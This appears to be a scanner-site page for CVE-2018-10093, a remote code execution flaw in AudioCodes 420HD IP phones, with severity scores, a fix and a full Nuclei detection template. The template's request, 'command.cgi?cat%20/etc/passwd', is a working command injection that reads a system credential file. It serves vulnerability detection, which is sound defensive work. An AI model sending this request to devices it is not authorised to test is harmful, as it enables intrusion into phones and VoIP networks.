AudioCodes 420HD - Remote Code Execution

highseverity

8.8CVSS score

68.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

AudioCodes IP phone 420HD devices using firmware version 2.2.12.126 allow remote code execution.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the device, potentially leading to a complete compromise of the phone and unauthorized access to the VoIP network.

Fix

Apply the latest firmware update provided by AudioCodes to fix the vulnerability and ensure proper input validation.

How to confirm it

Send: GET {{BaseURL}}/command.cgi?cat%20/etc/passwd
Positive when: matches /admin:.*:*sh$/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-10093 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-10093

info:
  name: AudioCodes 420HD - Remote Code Execution
  author: wisnupramoedya
  severity: high
  description: |
    AudioCodes IP phone 420HD devices using firmware version 2.2.12.126 allow remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the device, potentially leading to a complete compromise of the phone and unauthorized access to the VoIP network.
  remediation: |
    Apply the latest firmware update provided by AudioCodes to fix the vulnerability and ensure proper input validation.
  reference:
    - https://www.exploit-db.com/exploits/46164
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10093
    - https://www.exploit-db.com/exploits/46164/
    - http://seclists.org/fulldisclosure/2019/Jan/38
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-10093
    cwe-id: CWE-862
    epss-score: 0.6819
    epss-percentile: 0.99336
    cpe: cpe:2.3:o:audiocodes:420hd_ip_phone_firmware:2.2.12.126:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: audiocodes
    product: 420hd_ip_phone_firmware
  tags: cve,cve2018,rce,iot,audiocode,edb,seclists,audiocodes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/command.cgi?cat%20/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "admin:.*:*sh$"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from